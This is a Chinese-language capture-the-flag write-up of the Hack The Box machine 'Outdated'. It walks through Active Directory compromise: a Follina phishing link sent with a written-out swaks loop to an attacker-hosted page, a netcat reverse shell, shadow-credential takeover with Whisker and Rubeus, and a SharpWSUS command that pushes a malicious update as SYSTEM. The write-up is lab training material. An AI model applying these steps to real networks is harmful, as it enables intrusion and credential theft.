域渗透实战之Outdated

信息收集

端口扫描

使用nmap进行端口探测,发现开放了大量端口。

wKg0C2Pg8qAeDq9AABEo1ycRZI222.png

通过扫描结果中提到的一些服务是25/SMTP、53/DNS、389/LDAP、445/SMB和5985/WinRM。这些服务的存在表明这台机器可能是一个 Active Directory 域控制器。

wKg0C2Pg9eAHVV9AACG6gyiqmw486.png

nmapmail.outdated.htb还在TCP 25 和dc.outdated.htbLDAPoutdated.htb端口(636、3268、3269)上认证的 TLS 上 识别了主机名。

wKg0C2PgOANUz1AABk8b7lXSA748.png

SMB枚举

使用crackmapexec确定其操作系统

crackmapexec将操作系统显示为 Windows 10:

wKg0C2PgCADojnAAAll0Cv0MM947.png

可以列出共享文件/share

wKg0C2PgqAINGiAAAalqyJDY655.png

使用smbclient也可以证明:

wKg0C2PhAAeASW5MAAAFrFOy2Y540.png

读取shares文件

发现一个pdf文件,将其下载到本地。

wKg0C2PhABGAM6YhAAAqqjERWj0747.png

打开这个pdf,经过翻译之后,发现里面一堆cve漏洞。估计是提示吧。

wKg0C2PhABuAbZaAABokLuJA50935.png

获取漏洞提示

第一个暗示是他们正在寻找人们将 Web 应用程序的链接发送到itsupport@outdated.htb. 这很有用,并表明有人会点击这些链接。

还有一个 CVE 列表:

  • CVE-2022-30190 - 这是 2022 年 5 月底出现的大型 MSDT(也称为 Folina)漏洞。我会回过头来讨论这个问题。
  • CVE-2022-30129 - 此漏洞利用 VSCode。很多信息都基于这个演示,我认为它试图通过打开浏览器访问 PornHub 来展示 RCE。实际问题在这里描述得很好,涉及vscode://url。
  • CVE-2022-30138 - Windows Print Spooler 中的漏洞,但仅限于本地权限提升。
  • CVE-2022-29130 - LDAP 中的 RCE。在发布时,我找不到任何关于此漏洞利用的 POC。
  • CVE-2022-29110 - Excel 中的 RCE。在发布时,我找不到任何关于此漏洞利用的 POC,也没有迹象表明盒子上安装了 Excel。

漏洞利用

Follina命令执行漏洞

漏洞简介

Follina是一个远程代码执行漏洞,当用户或应用程序使用 MSDT URL 协议打开恶意链接时,可以利用该漏洞。由于我们之前下载的文档表明此漏洞未被修补,因此值得我们花时间进行调查。

利用条件

为了成功利用此机器,必须满足一些条件。

  1. 必须访问我们通过电子邮件提交的 URL
  2. 机器必须容易受到 CVE-2022-30190 的攻击

检查可利用性

我们可以通过设置网络服务器并将 URL 发送到 来验证 url 是否打开itsupport@outdated.htb。为此,我们可以使用名为swaks的 CLI 工具。

$ php -S "$lhost:80"

$ for i in {1..3}
    do swaks \
      --server "$rhost" \
      --to "itsupport@outdated.htb" \
      --from "email@mail.com" \
      --body "http://$lhost/"
    done

在我们发送了几封电子邮件并等待几分钟后,我们收到了来自目标的对 Web 服务器的请求。

漏洞利用

利用方式

我将向itsupport@outdated.htb笔记中注明的电子邮件地址发送一封电子邮件,其中包含指向 Folina 漏洞利用的链接。通常,Folina 被打包在一个 word 文档中,以真正解决弹出窗口等问题。为了解决 Outdated,我只需要使用一个使用 JavaScript 重定向到msdt://URL 的 HTML 页面。

生成paylaod

下载地址:https://github.com/JohnHammond/msdt-follina

利用poc文件,生成payload。

wKg0C2PhADWAbrkAADxAReKiFw132.png

然后开启http服务。

wKg0C2PhADAYaPAAAhqeKIW0945.png

使用nc今天监听反弹shell的443端口。

wKg0C2PhAEmAMMUdAABS8cVJsN0411.png

触发漏洞

然后利用swaks去发送邮件,去触发漏洞。

wKg0C2PhAFOABGwKAABAL864gWo356.png

获取shell

在等待三分钟左右的时候后,获取到了shell。

域信息收集

然后接着对其进行收集域内信息。发现其hostname和ip信息。

wKg0C2PhAF6AOXrrAABHXkTivF4196.png

Bloodhound

上传工具

将SharpHound.exe上传到目标机器当中。

wKg0C2PhAGmAMxzgAABcBz5DKU403.png

使用-c all进行运行它。

wKg0C2PhAHOADHFTAAA4DnH0OOE685.png

它会生成包含结果的 Zip 存档。

我将通过 SMB 将其导出,首先在我的主机上开始共享:

wKg0C2PhAH6Aah6iAABDPedNjyw972.png

将zip文件下载到本地。

wKg0C2PhAIeAHqWtAAAqwTa10o367.png

Bloodhound分析

打开 Bloodhound,清除数据库,然后上传 Zip 文件。我将搜索 btables 并将它们标记为已拥有。仔细观察btables,他们在“出站控制权”下有一个“Group Delegated Object Control”:

wKg0C2PhAJOAJE3TAAB5BPGmdlk386.png

单击它将它放在图表上:

wKg0C2PhAJ6AMNyLAAAvJ5k09o095.png

Get sflowers NTLM

针对 Active Directory 中的用户和计算机对象的基于 DACL 的攻击技术已经建立多年。如果我们破坏了一个对用户帐户具有委派权限的帐户,我们可以简单地重置他们的密码,或者,如果我们想要减少干扰,我们可以设置一个 SPN 或禁用 Kerberos 预身份验证并尝试烘烤该帐户。对于计算机帐户,它有点复杂,但RBCD 可以完成工作。

这些技术有其缺点:

  • 重置用户密码具有破坏性,可能会被举报,并且根据交战规则 (ROE) 可能不允许。
  • 烘焙非常耗时,并且取决于具有弱密码的目标,而实际情况可能并非如此。
  • RBCD 很难理解,因为有人(我)没能就它写一篇清晰简洁的文章。
  • RBCD 需要控制具有 SPN 的帐户,创建新的计算机帐户来满足该要求可能会导致检测,并且在实现权限升级之前无法清除。

Whisker工具使用

Whisker 是一个 C# 工具,用于通过操纵 Active Directory 用户和计算机帐户的msDS-KeyCredentialLink属性来接管它们,有效地将“Shadow Credentials”添加到目标帐户。

此工具基于Michael Grafnetter ( @MGrafnetter )的DSInternals代码。

为使此攻击成功,环境必须至少运行 Windows Server 2016 的域控制器,并且域控制器必须具有服务器身份验证证书以允许 PKINIT Kerberos 身份验证。

有关更多详细信息,请参阅影子凭证:滥用密钥信任帐户映射以进行接管。

工具地址:https://github.com/eladshamir/Whisker

编译whisker.exe

使用 Visual Studio 2022进行编译,编译之后,然后上传到目标机器当中。

wKg0C2PhAKAbsKnAAB2k7Y7K3Q432.png

运行它,然后收集 sflowers的信息

wKg0C2PhALmAVp2mAADUQBR6gs153.png

获取ntlm-hash

上传Rubeus.exe

然后接着上传Rubeus.exe,并运行它。

wKg0C2PhAMGAVdpyAAA192oUiGg413.png

生成 sflowers 的 NTLM 哈希,我可以将其用作身份验证。

wKg0C2PhAMyAUtr2AABY3d2ryL4859.png

WinRM使用

sflowers 是 Remove Management Users 组的一部分,如 Bloodhound 中所示:

wKg0C2PhANeAX5qiAAA7ZiIPNEo054.png

获取user.txt

wKg0C2PhAOGANRR0AABRVOPBMBE035.png

DC

横向移动

查找文档

通过谷歌搜索“enumerate exploit WSUS”,获取到了一些帮助。

wKg0C2PhAOuAFpHAABtdzHvVPM846.png

sharpwsus工具使用

SharpWSUS 是一个 CSharp 工具,用于通过 WSUS 进行横向移动。有一个相应的博客 ( https://labs.nettitude.com/blog/introducing-sharpwsus/ ),其中包含有关工具、用例和检测的更多详细信息。

https://labs.nettitude.com/blog/introducing-sharpwsus/

它还有一个指向带有该工具的Github 存储库的链接,我将像上面的 Whisker 一样在 Visual Studio 中构建它,并上传到 DC:

识别 WSUS

注册表项HKLM:\software\policies\microsoft\windows\WindowsUpdate将显示正在使用的 WSUS 服务器。

wKg0C2PhAPWAELABAAA8pXN7m1c925.png

来自 DC:

wKg0C2PhAP6AHVxvAABEZaDTNaY322.png

使用工具进行locate。

wKg0C2PhAQmAGvYbAAA4mFZyt1I884.png

从客户端,ping将显示它与 DC 是同一主机。

wKg0C2PhAROAQklaAAAw8NqFEQI446.png

WSUS 信息

SharpWSUS.exe还将提供有关使用 WSUS 的客户端的信息:

wKg0C2PhASyAUZP8AABsCih7MQU044.png

上传psexec工具

创建/批准更新

使用SharpWSUS.exe. 我将使用nc64.exe. 对于PsExec/args,它不会弹出框并等待单击、作为系统运行并立即返回。

wKg0C2PhATqAVqswAAA8gfz8wHA054.png

wKg0C2PhAUGAewPHAABMwbjoddU320.png

我需要使用输出中给出的语法来更新:

.\sw.exe approve /updateid:f41b3a2e-eaf6-4c13-bb43-d9e2c38e8412/computername:dc.outdated.htb /groupname:"CriticalPatches"

wKg0C2PhAUuACwkFAABLy5C64Fw436.png

成功提权到系统权限

获取root.txt

然后查询到root.txt

wKg0C2PhAVOAAwq5AAA77d6Iv4Q205.png

总结

通过一步步信息收集,然后根据提示进行漏洞利用,获取shell之后,然后上传一些工具进行获取域内信息,通过影子凭证:滥用关键信托账户映射进行账户接管。然后利用whisker工具获取ntlm-hash,然后进入dc进行横向移动,最后成功获取root权限。

查看原文